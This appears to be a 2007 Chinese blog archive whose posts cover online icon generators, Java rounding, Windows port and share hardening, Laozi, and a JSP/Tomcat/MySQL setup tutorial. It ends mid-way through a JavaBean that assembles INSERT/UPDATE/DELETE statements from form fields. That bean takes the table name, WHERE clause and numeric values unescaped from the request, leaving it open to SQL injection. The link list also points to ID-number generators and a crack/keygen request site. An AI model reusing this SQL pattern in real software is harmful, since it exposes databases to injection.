      ● 只能设置"@"之前的文本,支持的Mail类型的包括GMail、Hotmail、Yahoo、MSN、AOL、ATT、Bigfoot、 RocketMail、QQ、Comcast、Netscape、Blueyonder、SBCGlobal、Earthlink、Lycos、 Sympatico、Rogers等。

      ● 每种Email只能生成系统制定的样式图标。

    站点二
      http://sagittarius.dip.jp/~toshi/cgi-bin/designmail/designmail.html
      http://sagittarius.dip.jp/~toshi/cgi-bin/catmark/catmark.html

      两个地址支持两种风格任意文本的Email图标的生成。

      ● 支持整个Email文本,用户可以自由定制Email文本。

      ● 支持多种参数的设置,包括图标的风格、颜色、字体、生成图标文件类型等支持任何文本。

    站点三 http://pic.xabar.net/generator/email.asp

     支持多种域名的Email图标的生成。

    站点四 http://www.eoool.com/

      支持多种域名的头像、签名、题图、广告、邮件、聊天、博客、书签、朋友圈、按钮等工具图标的生成。

    站点五 http://phorum.com.tw/Generator.aspx

      支持域名图标的生成。

    站点六 http://gizmo967.mgs3.org/Gmail/

      支持Gmail图标的生成。

      
      站点七 http://www.feedforall.com/public/rss-graphic-tool.htm

      支持RSS图标的生成。

     
      站点八 http://email.playtime.uni.cc/

      支持Gmail、Yahoo、Hotmail、MSN等类型的邮箱图标生成。


      站点九 http://www.html-kit.com/e/favicon.cgi

      支持收藏夹图标生成。
    站点十 http://www.lucazappa.com/brilliantMaker/buttonImage.php

      支持各种按钮类型的图标生成。

      站点十一 http://www.abi-station.com/tchinese/

      支持各种类型图片的生成,可以选择设置的条件非常灵活。

    站点十二 http://www.myelogo.com/

      支持客户信息显示、自定义文字及图片,详情请参考本站的《介绍一个免费生成动态签名图标的站点》。
    站点十三 http://www.kalsey.com/tools/buttonmaker/

      支持按钮类型的图标生成。

      站点十四 http://www.danasoft.com/

      支持多种语言,客户信息显示(无需注册)、自定义文字(需注册登录才可以设置)。

    站点十五 http://www.youmade.com/font/

      支持大量中文字体签名图标生成。

    站点十六 http://www.atomicfonts.com/

      支持大量英文字体签名图标生成。

    站点十七 http://www.myfonts.com/category/myfonts/index.html

      又一个支持大量英文字体签名图标生成的站点。
    站点十八http://www.igogo8.com/

            定制Google个性标志,一秒钟把Google据为己有

    站点十九 http://www.streetsigngenerator.com/

            街道签名生成器(不过不支持中文)

    站点二十  http://googlealive.com/create.asp

    可以生成google的LOGO样式图标,可以生成类似google logo的图标,你可以输入数字、字母和部分符号[/@;:+-!?] 或者空格。当然还可以生成你自己LOGO的google搜索引擎。

    站点二十一  http://linux-fans.com/email/live/live.php
    live个性图标在线制作


    一组汇总:
    favicon.ico在线生成

    http://www.html-kit.com/favicon/

    该站是生成小图标的网站.完全的免费.在制作之前你需要准备一张jpg或者是gif的图片,然后上传上去.就可以生成了.生成两种格式,一个是静态的,一个是动态的,应该没见过有哪个站是用动态的favicon.ico吧.里面还带有一个文本文档,说明了怎样使用favicon.ico.



    按钮生成网站:


    http://kalsey.com/tools/buttonmaker/
    http://www.lucazappa.com/brilliantMaker/buttonImage.php
    http://www.feedforall.com/public/rss-graphic-tool.htm
    http://www.kalsey.com/tools/buttonmaker/
    http://www.yugatech.com/make.php
    http://msdn.microsoft.com/workshop/samples/author/dhtml/DXTidemo/DXTi...


    http://www.hkwebs.net/catalog/tools/buttonmaker/index.php
    Email图标生成网站:


    http://email.playtime.uni.cc/
    http://services.nexodyne.com/email/
    http://gizmo967.mgs3.org/Gmail/
    http://www.hkwebs.net/catalog/tools/gmail/
    http://sagittarius.dip.jp/~toshi/cgi-bin/designmail/designmail.html
    http://www.eoool.com/
    Logo生成网站:


    http://phorum.com.tw/Generator.aspx
    http://www.logoyes.com/lc_leftframe.htm
    http://cooltext.com/Default.aspx
    Banner图片制作网站:


    http://www.bannerbreak.com/index.php
    在线图片生成网站:


    http://www.streetsigngenerator.com/
    http://www.letterjames.de/
    图片分割器: http://www.html-kit.com/e/is.cgi
    立体图片生成器: http://www.chami.com/html-kit/services/imge/
    图片生成邮票:
    http://photo.stamps.com/PhotoStamps/?source=si00001331
    个性拼图: http://www.jigcool.com/jigonline/jigonline1_sc.php
    印章制作: http://caishu.sina.com.cn/

    又一组在线生成工具资源大全

    1.韩国身份证的生成以及验证
    http://www.udeng.com/images/hanguo.htm

    3.GIF图片的文字LOGO在线生成
    http://www.3dtextmaker.com/cgi-bin/3dtext.pl

    4.在线制作logo,bannar的网站
    www.crazystudy.com

    5.3D文字图片GIF在线制作
    works.com/image_editor.html

    SAINT.Assess the Security of Computer Networks
    http://www.saintcorporation.com/saint/
    saint在linux著名的扫描软件下面那个是下载地址

    SATAN.Port Scanner with a Web Interface
    http://www.ibiblio.org/pub/packages...atan-for-Linux/

    Abacus.Intrusion Prevention System
    http://www.psionic.com/abacus/

    Firewall Generator(在线生成简单的防火墙脚本)
    http://www.citadec.com/FirewallGenerator.html

    8.身份证号码在线生成器
    http://i972.net/~gen/

    9.在线字体图片生成
    http://www.youmade.com/font/

    10.中外破解补丁和注册机在线求救
    http://hmay.qq.topzj.com/

    11.在线生成条码打印
    http://www.027hc.com/y1.asp
    http://www.nlscan.com/soucecentre/demo.asp
    http://www.gzbonny.com/asp/barcode.asp

    12.在线图形特效生成
    http://www.chami.com/

    13.聊天工具在线状态生成器
    http://www.onlinestatus.org/forum/usage.php  
    posted @ 2007-08-07 18:52 jadmin 阅读(56) | 评论 (0)编辑 收藏

    1.(double) (Math.round(sd3*10000)/10000.0);

    这样为保持4位

    (double) (Math.round(sd3*100)/100.0);

    这样为保持2位.

    2.另一种办法

    import java.text.DecimalFormat;

    DecimalFormat df2   = new DecimalFormat("###.00");

    DecimalFormat df2   = new DecimalFormat("###.000");

    System.out.println(df2.format(doube_var));

    第一个为2位,第二个为3位.

    posted @ 2007-08-06 04:49 jadmin 阅读(116) | 评论 (0)编辑 收藏

      由于现在家用电脑所使用的操作系统多数为Win XP 和Win2000 pro(建议还在使用98的朋友换换系统,连微软都放弃了的系统你还用它干嘛?)所以后面我将主要讲一下基于这两个操作系统的安全防范。

      个人电脑常见的被入侵方式:

      谈到个人上网时的安全,还是先把大家可能会遇到的问题归个类吧。我们遇到的入侵方式大概包括了以下几种:

      (1) 被他人盗取密码;

      (2) 系统被木马攻击;

      (3) 浏览网页时被恶意的java scrpit程序攻击;

      (4) QQ被攻击或泄漏信息;

      (5) 病毒感染;

      (6) 系统存在漏洞使他人攻击自己。

      (7) 黑客的恶意攻击。

      下面我们就来看看通过什么样的手段来更有效的防范攻击。

      1.察看本地共享资源

      运行CMD输入net share,如果看到有异常的共享,那么应该关闭。但是有时你关闭共享下次开机的时候又出现了,那么你应该考虑一下,你的机器是否已经被黑客所控制了,或者中了病毒。

      2.删除共享(每次输入一个)

      net share admin$ /delete
      net share c$ /delete
      net share d$ /delete(如果有e,f,……可以继续删除)

      3.删除ipc

      在运行内输入regedit,在注册表中找到 HKEY-LOCAL_MACHINESYSTEMCurrentControSetControlLSA 项里数值名称RestrictAnonymous的数值数据由0改为1。

      4.关闭自己的139端口,ipc和RPC漏洞存在于此。

      关闭139端口的方法是在“网络和拨号连接”中“本地连接”中选取“Internet协议(TCP/IP)”属性,进入“高级TCP/IP设置”“WinS设置”里面有一项“禁用TCP/IP的NETBIOS”,打勾就关闭了139端口。

      5.防止rpc漏洞

      打开管理工具——服务——找到RPC(Remote Procedure Call (RPC) Locator)服务——将故障恢复中的第一次失败,第二次失败,后续失败,都设置为不操作。

      XP SP2和2000 pro sp4,均不存在该漏洞。

      6.445端口的关闭

      修改注册表,添加一个键值

      HKEY_LOCAL_MACHINESystemCurrentControlSetServicesNetBTParameters在右面的窗口建立一个SMBDeviceEnabled 为REG_DWORD类型键值为 0这样就ok了

      7.3389的关闭

      XP:我的电脑上点右键选属性--> 远程,将里面的远程协助和远程桌面两个选项框里的勾去掉。

      Win2000server 开始--> 程序--> 管理工具--> 服务里找到Terminal Services服务项,选中属性选项将启动类型改成手动,并停止该服务。(该方法在XP同样适用)

      使用2000 pro的朋友注意,网络上有很多文章说在Win2000pro 开始--> 设置--> 控制面板--> 管理工具--> 服务里找到Terminal Services服务项,选中属性选项将启动类型改成手动,并停止该服务,可以关闭3389,其实在2000pro 中根本不存在Terminal Services。

    posted @ 2007-08-06 04:07 jadmin 阅读(66) | 评论 (0)编辑 收藏
    “上善若水” 这四个字,出自于老子的《道德经》第八章:“上善若水。水善利万物而不争,处众人之所恶,故几于道。居善地,心善渊,与善仁,言善信,正善治,事善能,动善时。夫唯不争,故无尤。”

    它的字面含义是:最高的善像水那样。水善于帮助万物而不与万物相争。它停留在众人所不喜欢的地方,所以接近于道。上善的人居住要像水那样安于卑下,存心要像水那样深沉,交友要像水那样相亲,言语要像水那样真诚,为政要像水那样有条有理,办事要像水那样无所不能,行为要想水那样待机而动。正因为他像水那样与万物无争,所以才没有烦恼。说到这其中所涵盖的思想意义,那就需要多做些解释了。

    老子说:“上善若水,水善利万物而不争,此乃谦下之德也;故江海所以能为百谷王者,以其善下之,则能为百谷王。天下莫柔弱于水,而攻坚强者莫之能胜,此乃柔德;故柔之胜刚,弱之胜强坚。因其无有,故能入于无之间,由此可知不言之教、无为之益也。”

    他认为上善的人,就应该象水一样。水造福万物,滋养万物,却不与万物争高下,这才是最为谦虚的美德。江海之所以能够成为一切河流的归宿,是因为他善于处在下游的位置上,所以成为百谷王。

    世界上最柔的东西莫过于水,然而它却能穿透最为坚硬的东西,没有什么能超过它,例如滴水穿石,这就是“柔德”所在。所以说弱能胜强,柔可克刚。

    不见其形的东西,可以进入到没有缝隙的东西中去,由此我们知道了“不言”的教导,“无为”的好处。

    老子还说:“以其不争,故天下莫能与之争,此乃效法水德也。水几于道;道无所不在,水无所不利,避高趋下,未尝有所逆,善处地也;空处湛静,深不可测。善为渊也;损而不竭,施不求报,善为仁也……

    “道”是产生天地万物的总根源,是先于具体事物而存在的东西,也是事物的基本规律及其本源。所以“道”是我们每个人都应该认知与理解的。水的德行就是最接近于“道”的,“道”无处不在,因此,水无所不利。它避高趋下,因此不会受到任何阻碍。它可以流淌到任何地方,滋养万物,洗涤污淖。它处于深潭之中,表面清澈而平静,但却深不可测。它源源不断的流淌,去造福于万物却不求回报。这样的德行, 乃至仁至善……
    posted @ 2007-08-05 07:58 jadmin 阅读(54) | 评论 (0)编辑 收藏

    在配置jsp开发环境的过程中会碰到不少问题,感谢网上的许多前辈的经验总结,作者cl41的JSP连接Mysql数据库攻略和作者Saulzy的MySQL学习笔记等文章对我来说简直是雪中送碳,为了帮助象我一样的初学者在此总结了不少作者的经验,非常感谢他们的无私奉献精神,也希望更多的人把这种精神发扬光大,呵呵,再次对所参考文章的作者表示最崇高的敬意!
    以下软件下载连接地址无法显示的话,请直接到官方网站下载即可!

    软件下载
    Mysql
    下载版本:mysql-4.1.13-win32.zip(Windows downloads)
    http://dev.mysql.com/downloads/mysql/4.1.html

    JDBC驱动
    下载版本:mysql-connector-java-3.1.10.zip
    http://dev.mysql.com/downloads/connector/j/3.1.html

    下载j2sdk (JAVA 2 PLATFORM STANDARD EDITION DEVELOPMENT KIT 5.0)
    下载版本:jdk-1_5_0_04-windows-i586-p.exe
    http://java.sun.com/j2se/1.5.0/download.jsp

    下载tomcat
    下载版本: jakarta-tomcat-5.5.9.exe
    http://jakarta.apache.org/site/downloads/downloads_tomcat-5.cgi

    安装,配置j2sdk:

    执行j2sdk安装程序,按默认设置进行安装,也可自定义路径,但需修改下面的配置

    配置j2sdk:

    配置环境变量:

    我的电脑->属性->高级->环境变量->系统变量中添加以下环境变量:
    JAVA_HOME=C:\Program Files\Java\jdk1.5.0_04
    CLASSPATH=%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar;
    path=%JAVA_HOME%\bin;%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem

    写一个简单的java程序来测试J2SDK是否已安装成功:
    public class hello
    {
    public static void main(String args[])
    {
    System.out.println("Hello");
    }
    }

    将程序保存为文件名为hello.java的文件。

    打开命令提示符窗口,进入到hello.java所在目录,键入下面的命令
    javac hello.java
    java hello
    此时若打印出来hello则安装成功,若没有打印出这句话,仔细检查以上配置是否正确。
    注意系统文件夹选项中应确定“隐藏已知文件类型的扩展名”不勾选(我的电脑?工具?查看)

    安装,配置tomcat
    执行tomcat安装程序,按默认设置进行安装,也可自定义路径,但需修改下面的配置

    我的电脑->属性->高级->环境变量->系统变量中添加以下环境变量
    CATALINA_HOME=C:\Program Files\Apache Software Foundation\Tomcat 5.5
    CATALINA_BASE=C:\Program Files\Apache Software Foundation\Tomcat 5.5

    修改环境变量中的classpath,把tomat安装目录下的common\lib下的servlet-api.jar添加到classpath中去,
    修改后的classpath如下:
    classpath=%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar;C:\Program Files\Apache Software Foundation\Tomcat 5.5\common\lib\servlet-api.jar;

    启动tomcat,在IE中访问http://localhost:8080,若看到tomcat的欢迎页面的话说明安装成功。

    安装mysql
    解压缩mysql-4.1.13-win32.zip,运行setup.exe
    首先出现的是安装向导欢迎界面,直接点击“Next”
    继续,选择安装类型,选择“自定义”custom安装,然后点“Next”下一步,出现自定义安装界面
    选择安装路径:C:\MySQL Server 4.1(可自定义)
    点“OK”返回到自定义安装界面,路径已改为设置的路径
    点“Next”,准备开始安装
    点“Install”开始安装
    完成后出现创建MySQL.com帐号的界面
    如果是首次使用MySQL,选“Create anew free MySQL.com accout”
    点“Next”,输入你的Email地址和自己设定的用于登录MySQL.com的密码
    填完后点“Next”进入第二步
    填写姓名等相关信息,填完点“Next”,进入第三步
    填完电话号码、公司名称等信息后,点“Next”,
    然后出现预览你刚才填的信息的界面,点“Next”出现安装完成界面
    注意,这里有个配置向导的选项(Configure the MySQL Server now),
    建议勾选立即配置你的MySQL。许多说安装完MySQL后无法启动,原因就在于没有配置MySQL。
    点击“Finish”完成安装,并开始配置MySQL
    点“Next”,进入配置类型选择页面。选“Detailed configuration”(详细配置)
    点“Next”,进入服务类型选择页面。选“Developer Machine”(开发者机器),这样占用系统的资源不会很多
    点“Next”后,进入数据库用法选择页面。选择“Multifunctional Database”
    点“Next”,进入选择InnoDB数据存放位置页面
    不用更改设置,直接放在Installation Path安装目录里即可,然后点“Next”,选择MySQL的同时联接数
    选择“Manual Setting”,设置为100(根据自己需要,酌情设置)
    点“Next”,配置MySQL在TCP/IP通讯环境中的端口选择默认的3306端口即可。
    点“Next”,选择MySQL中的字符设置
    注意,这里的选择将会影响你是否能在MySQL中使用中文。选择gb2312字符集以便支持简体中文
    点“Next”,设置Windows服务选项
    注意,这里的选择很关键。
    “Install As Windows Service”一定要勾选,这是将MySQL作为Windows的服务运行。
    “Service Name”就用默认的“MySQL”
    下面的“Launch the MySQL Server automatically”一定要勾选,这样Windows启动时,MySQL就会自动启动服务,要不然就要手工启动MySQL。
    许多人说安装MySQL后无法启动、无法连接、出现10061错误,原因就在这里。
    点“Next”,设置根帐号root的登录密码
    “Modify Security Settings”是设置根帐号的密码,输入你设定的密码即可。
    “Create An Anonymous Account”是创建一个匿名帐号,这样会导致未经授权的用户非法访问你的数据库,有安全隐患,建议不要勾选。
    点“Next”,MySQL配置向导将依据你上面的所有设定配置MySQL,以便MySQL的运行符合你的需要
    点“Execute”开始配置,当出现“Service started successfully”时,说明你的配置完成,MySQL服务启动成功
    点“Finish”完成,整个MySQL的配置完成,剩下的就是用MySQL客户端连接MySQL服务器,然后使用了。


    安装JDBC驱动:
    解压缩mysql-connector-java-3.1.10.zip
    将要使用的是mysql-connector-java-3.1.10-bin-g.jar和mysql-connector-java-3.1.10-bin.jar

    配置
    在C:\Program Files\Java目录下建立mysqlforjdbc子目录,进入该目录将mysql-connector-java-3.1.10-bin.jar到该目录下
    进入C:\Program Files\Java\jdk1.5.0_04\lib目录将mysql-connector-java-3.1.10-bin-g.jar拷贝到该目录下
    然后配置classpath,追加%JAVA_HOME%\lib\mysql-connector-java-3.1.10-bin-g.jar;C:\Program Files\Java\mysqlforjdbc\mysql-connector-java-3.1.10-bin.jar;到该环境变量中去
    追加以后环境变量如下:
    CLASSPATH=%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar;C:\Program Files\Apache Software Foundation\Tomcat5.5\common\lib\servlet-api.jar;%JAVA_HOME%\lib\mysql-connector-java-3.1.10-bin-g.jar;C:\Program Files\Java\mysqlforjdbc\mysql-connector-java-3.1.10-bin.jar;
    配置这个的目的是让java应用程序找到连接mysql的驱动.


    查看并启动MySQL服务
    在Windows XP下安装完MySQL后,它就已经自动启动服务了,并且在开始菜单中有其客户端的快捷方式连接
    可以通过Windows的服务管理器查看。“开始”-“运行”,输入“services.msc”,回车。
    弹出Windows的服务管理器,然后就可以看见服务名为“mysql”的服务项了,其右边标明“已启动”
    在开始菜单-所有程序-MySQL-MySQL Server 4.1-MySQL Command Line Client用客户端的快捷方式连接
    输入安装是设置的密码即可


    数据库的使用

    Mysql安装完毕以后,在开始菜单-所有程序-MySQL-MySQL Server 4.1-MySQL Command Line Client用客户端的快捷方式连接
    输入安装时设置的密码

    使用mysql的基本命令(在mysql命令行编辑每输入完命令后最后一定要有分号)
    显示数据库:show databases;
    使用数据库:use 数据库名;


    建库
    在mysql里建一个数据库first,以及在数据库里建一个表about
    命令:create database first;

    为数据库设置权限(用户和密码)
    命令:grant all privileges on first.* to test@localhost identified by '123456';
    当你执行完这个命令以后,只要你再以用户名:test,密码:123456登录时你就只可以对first这个数据库操作,这样避开使用root
    输入命令:use first;
    使用first数据库;

    在first库中建表
    命令:create table about(id int(8) primary key,name varchar(10));

    在表中加入数据:
    命令:insert into      about values('xyw1026','laojiang');

    退出
    命令:exit


    JSP连接mysql
    在C:\Program Files\Apache Software Foundation\Tomcat5.5\webapps目录下建立子目录myapp
    进入C:\Program Files\Apache Software Foundation\Tomcat5.5\webapps\myapp目录下
    用记事本编写一个文件保存为first.jsp
    代码如下:
    <%@ page contentType="text/html;charset=gb2312"%>
    <%@ page import="java.sql.*"%>
    <html>
    <body>
    <%Class.forName("org.gjt.mm.mysql.Driver").newInstance();
    String url ="jdbc:mysql://localhost/softforum?user=soft&password=soft1234&useUnicode=true&characterEncoding=8859_1"
    //first为你的数据库名
    Connection conn= DriverManager.getConnection(url);
    Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
    String sql="select * from first";
    ResultSet rs=stmt.executeQuery(sql);
    while(rs.next()) {%>
    您的第一个字段内容为:<%=rs.getString(1)%>
    您的第二个字段内容为:<%=rs.getString(2)%>
    <%}%>
    <%out.print("数据库操作成功,恭喜你");%>
    <%rs.close();
    stmt.close();
    conn.close();
    %>
    </body>
    </html>

    在浏览器中输入:
    http://127.0.0.1:8080/myapp/first.jsp
    若出现:
    id|num
    0 |laojiang

    数据库操作成功,恭喜你

    表示配置成功

    进入C:\Program Files\Apache Software Foundation\Tomcat5.5\webapps\myapp目录
    在myapp目录下新建一个目录WEB-INF,注意,目录名称是区分大小写的;
    在WEB-INF下用记事本新建一个文件,命名为web.xml,内容如下:

    <?xml version="1.0" encoding="ISO-8859-1"?>

    <!DOCTYPE web-app
    PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
    "http://java.sun.com/dtd/web-app_2_3.dtd">

    <web-app>
    <display-name>My Web Application</display-name>
    <description>
    A application for test.
    </description>
    </web-app>

    在myapp下用记事本新建一个测试的jsp页面,文件名为index.jsp,文件内容如下:

    <html><body><center>
    Now time is: <%=new java.util.Date()%>
    </center></body></html>


    重启Tomcat
    打开浏览器,输入http://localhost:8080/myapp/index.jsp
    看到当前时间的话说明成功安装。


    建立自己的Servlet:
    用记事本新建一个servlet程序,文件名为HelloWorld.java,文件内容如下:

    import java.io.*;
    import javax.servlet.*;
    import javax.servlet.http.*;
    public class HelloWorld extends HttpServlet
    {
    public void doGet(HttpServletRequest request,HttpServletResponse response)throws ServletException,IOException
    {

    response.setContentType("text/html");
    PrintWriter out = response.getWriter();
    out.println("<html><head><title>");
    out.println("This is my first Servlet");
    out.println("</title></head><body>");
    out.println("<h1>Hello,World!</h1>");
    out.println("</body></html>");

    }
    }


    编译
    将HelloWorld.java剪切到C:\Program Files\Apache Software Foundation\Tomcat5.5\common\classes目录下
    命令行方式下输入:
    cd C:\Program Files\Apache Software Foundation\Tomcat5.5\common\classes
    javac HelloWorld.java
    用javac HelloWorld.java来编译这个文件,如果出现无法import javax.servlet.*
    则将C:\Program Files\Apache Software Foundation\Tomcat5.5\common\lib目录下的servlet-api.jar文件拷贝并添加到
    C:\Program Files\Java\jre1.5.0_04\lib\ext目录中去就可以了

    然后在C:\Program Files\Apache Software Foundation\Tomcat5.5\common\classes下会产生一个编译后的servlet文件:HelloWorld.class
    用记事本打开C:\Program Files\Apache Software Foundation\Tomcat5.5\webapps\ROOT\WEB-INF目录下的web.xml如下所示,添加后的内容如下:
    .
    .
    .
    <!-- JSPC servlet mappings start -->

            <servlet>
                <servlet-name>org.apache.jsp.index_jsp</servlet-name>
                <servlet-class>org.apache.jsp.index_jsp</servlet-class>
            </servlet>

            <servlet-mapping>
                <servlet-name>org.apache.jsp.index_jsp</servlet-name>
                <url-pattern>/index.jsp</url-pattern>
            </servlet-mapping>

        
            <servlet>
                <servlet-name>HelloWorld</servlet-name>
                <servlet-class>HelloWorld</servlet-class>
            </servlet>

            <servlet-mapping>
                <servlet-name>HelloWorld</servlet-name>
                <url-pattern>/servlet/HelloWorld</url-pattern>
            </servlet-mapping>

    <!-- JSPC servlet mappings end -->

    </web-app>

    这段话中的servlet这一段声明了你要调用的Servlet,而servlet-mapping则是将声明的servlet“映射”到/servlet/HelloWorld地址上

    启动Tomcat,启动浏览器,输入http://localhost:8080//servlet/HelloWorld 如果看到输出HelloWorld!就说明编写的servlet成功了。
    注意:修改了web.xml以及新加了class,都要重启Tomcat


    也可以在自己创建的目录下测试如:
    将HelloWorld.class拷贝到C:\Program Files\Apache Software Foundation\Tomcat5.5\webapps\myapp\WEB-INF\classes目录下
    其中classes目录若没有就创建一个
    用记事本打开C:\Program Files\Apache Software Foundation\Tomcat5.5\webapps\myapp\WEB-INF目录下的web.xml如下所示,修改后的内容如下:
    .
    .
    .
    <!-- JSPC servlet mappings start -->
        
            <servlet>
                <servlet-name>HelloWorld</servlet-name>
                <servlet-class>HelloWorld</servlet-class>
            </servlet>

            <servlet-mapping>
                <servlet-name>HelloWorld</servlet-name>
                <url-pattern>/servlet/HelloWorld</url-pattern>
            </servlet-mapping>

    <!-- JSPC servlet mappings end -->

    </web-app>


    启动Tomcat,启动浏览器,输入http://localhost:8080/myapp/servlet/HelloWorld 如果看到输出HelloWorld!就说明编写的servlet成功了。
    注意:修改了web.xml以及新加了class,都要重启Tomcat


    建立自己的javaBean:

    用记事本新建一个java程序,文件名为TestBean.java,文件内容如下:
    package test;
    public class TestBean{
    private String name = null;
    public TestBean(String strName_p){
    this.name=strName_p;
    }
    public void setName(String strName_p){
    this.name=strName_p;
    }
    public String getName(){
    return this.name;
    }
    }

    编译
    将TestBean.java放在c:\test下,使用如下命令编译:
    C:\test>javac TestBean.java
    然后在c:\Test下会产生一个编译后的bean文件:TestBean.class
    将TestBean.class文件剪切到C:\Program Files\Apache Software Foundation\Tomcat5.5\webapps\myapp\WEB-INF\classes\test目录下,
    若无某些子目录则创建一个

    新建一个TestBean.jsp文件,文件内容为:
    <%@ page import="test.TestBean" %>
    <html><body><center>
    <%
    TestBean testBean=new TestBean("This is a test java bean.");
    %>
    Java bean name is: <%=testBean.getName()%>
    </center></body></html>

    重启Tomcat,启动浏览器,输入http://localhost:8080/myapp/TestBean.jsp 如果看到输出Java bean name is: This is a test java bean
    就说明编写的javaBean成功了。

    posted @ 2007-08-04 10:33 jadmin 阅读(80) | 评论 (0)编辑 收藏

    1.到http://www.mysql.com下载MySQL数据库服务器和驱动程序Jdbc driver for MySQL

    2.安装MySQL数据库,本人下载的是安装版本的,所以直接点Setup.exe就可以了,当然也可以下载.zip解压版本的,不过解压后要设置下环境变量之类的,麻烦~~

    3.设置驱动程序路径,本人下载的Jdbc driver for MySQL是mysql-connector-java-5.0.7-bin.jar,将它放到<MySQL_HOME>\,然后在系统环境变量中的classpath加入mysql-connector-java-5.0.7-bin.jar的路径,如我加入的是:C:\Program Files\MySQL\MySQL Server 5.0\mysql-connector-java-5.0.7-bin.jar,OK

    4.创建数据库,组合键Win+R,输入cmd后回车,进入命令行模式,键入mysql -uroot -p你设置的密码

          create database mydb01;

          use mydb01;

          create table table1(CD int(8) primary key,NAME varchar(10));

          insert into table1 values(1,'name1');

          insert into table1 values(2,'name2');

          insert into table1 values(3,'name3');

          输入命令:select * from table1;如果见到以下内容,则说明数据库创建成功.

    +------+-------+
    | CD      | NAME     |
    +------+-------+
    |       1 | name1 |
    |       2 | name2 |
    |       3 | name3 |
    +------+-------+

    5.编写连接数据库的测试代码

    import java.sql.*;
    import java.sql.Connection;
    import java.sql.DriverManager;

    public class mysqltest {
           public static void main(String[] args) {
               try{
                   Class.forName("com.mysql.jdbc.Driver").newInstance();
                   String url ="jdbc:mysql://localhost:3306/mydb01";
                   Connection conn= DriverManager.getConnection(url,"root","你设置的密码");
                   Statement stmt=conn.createStatement();
                   String sql="select * from table1";
                   ResultSet rs=stmt.executeQuery(sql);

                   while(rs.next()) {
                       System.out.print(rs.getInt("CD")+"\t");
                       System.out.println(rs.getString("NAME"));
                   }

                   System.out.println("Done");
                   rs.close();
                   stmt.close();
                   conn.close();
                
              }catch(Exception e){
                  e.printStackTrace();
              }
           }
    }

    6.再次进入命令行模式,测试一下是否连接成功

        javac mysqltest.java

        java    mysqltest

    posted @ 2007-08-04 09:24 jadmin 阅读(40) | 评论 (0)编辑 收藏

    INSERT、DELETE、UPDATE 三种SQL语句是数据库技术的三大基本语句。 在通常的web开发中对它的处理可以说是无处不在. 如果简单的都用手工来构造这些SQL语句的话, 一方面给我们的开发带来很大的工作量, 另一方面系统灵活性受到很大的限制。那么能不能基于某种规则让系统自动从页面表单中取出元素构造出SQL语句呢? 首先让我们看看一般INSERT、DELETE、UPDATE 三种语句的基本形式:

    INSERT INTO table_name (col_1,col_2,col_3,) VALUES (value_1,value_2,value_3 …) 
    
    DELETE FROM table_name WHERE col_n=value_n 
    
    UPDATE table_name SET col_1=value_1,col_2=value_2,col_3=value_3 WHERE col_x=value_x

    我们知道,借用j2ee中的request.getParameterNames()方法可以读到表单中的所有元素的名称,有了元素名称借用request.getParameter(elementName)方法可以获取该元素的值。假设在开发中我们让页面元素的名称和底层数据库表的字段名一致。那么在这三种语句中col_n 和 value_n 对我们来说就不是未知的,未知的数据就剩下了 table_name,col_x和value_x 。现在如果我们写一个方法,传入request对象,再把table_name,col_x,value_x作为参数传入方法,那么我们可以轻松的自动构造SQL语句了。

    但这样做还是有欠灵活,因为一方面每一次使用该方法我们都得人工的设置table_name,col_x和value_x;另一方面别忘了sql语句中对于字符串的字段需要加单引号和替换字符串中间的单引号,而整型、浮点型、系统函数(如now(),to_date()等数据库函数)等不需要做单引号的处理,这些如果没有好的解决的话,我们的方法将受到非常大的限制。要达到再进一步分离最好的办法就是在表单元素命名上面做文章,我们可以自己定义一套元素命名规则,对不同规则命名的元素做不同的处理--设我们定义元素命名规格如下:

    1. table_name,col_x,value_x这类元素,为公共元素。我们规定这类元素名以c_k开头(c=common),我们限制table_name的元素名为c_table,col_x=value_x定义到一起,元素名定为c_where. 当然我们别忘了我们还需要一个元素表示构造什么样(INSERT、DELETE、UPDATE)的SQL语句。我们给这个元素命名c_genre,它的值被限制在INSERT、DELETE、UPDATE这三者之中 。

    2. 对于表单中对应数据库字符串类型的元素,在SQL构造中需要做单引号的处理。这类元素我们暂且称他们为字符串型元素。字符串型元素我们规定其名为s_+数据库表字段名 (s=String)。

    3. 对于不需要做但引号处理的元素(如integer型、float型、数据库系统函数--如now(),to_date()等等)。我们暂且简单的统称这类元素为整型元素。对于整型元素我们限制其命名规则为i_+数据库表字段名(i=Integer)。

    基于上面的规格我们可以非常轻松写一个javabean。代码如下:

    /**
    * @version: 1.1
    * @Time: 2005.03.02
    */
    package com.river.page ;
    import java.util.*;
    import javax.servlet.http.HttpServletRequest;
    public class PageUtil {
      private HttpServletRequest request = null ;
      public PageUtil(){}
      public void init(HttpServletRequest _request){
       this.request = _request ;
      }
      public void clear(){
       if(this.request != null){
       this.request = null ;
      }
    }
    public String get(String elementName){
      if(request == null || request.getParameter(elementName) == null){
       return "";
      }else{
       return request.getParameter(elementName);
      }
    }
    
    public String get(HttpServletRequest _request,String elementName){
      init(_request);
      return get(elementName);
    }
    
    public String getSQL(HttpServletRequest _request){
      init(_request);
      return getSQL();
    }
    public String getSQL(){
      String sqlstr = "";
      String c_table = get("c_table");
      String c_genre = get("c_genre");
      String c_where = get("c_where");
      if(c_genre == null || c_genre.equals("")){
       return "the action is null/empty";
      }
      if(c_table == null || c_table.equals("")){
       return "unknow table/empty" ;
      }
      if(c_genre.equalsIgnoreCase("INSERT")){
       java.util.Enumeration arg_names = request.getParameterNames();
       String colstr = "",valstr = "";
       String arg_name,pre_name,end_name ;
       while(arg_names.hasMoreElements()){
        arg_name = String.valueOf(arg_names.nextElement());
        if(arg_name.length() < 2){
         continue;
        }
        pre_name = arg_name.substring(0,2);
        end_name = arg_name.substring(2);
        if(pre_name.equalsIgnoreCase("i_")){
         colstr = colstr+","+end_name;
         if(get(arg_name).equals("")){
          valstr = valstr+",NULL";
         }else{
          valstr = valstr + "," + String.valueOf(get(arg_name));
         }
        }else if(pre_name.equalsIgnoreCase("s_")){
         colstr = colstr+","+end_name;
         if(get(arg_name).equals("")){
          valstr = valstr+",NULL";
         }else{
          valstr = valstr+",'"+get(arg_name).replaceAll("'","''")+"'";
        }
       }
      }
      if(!colstr.equals("")){
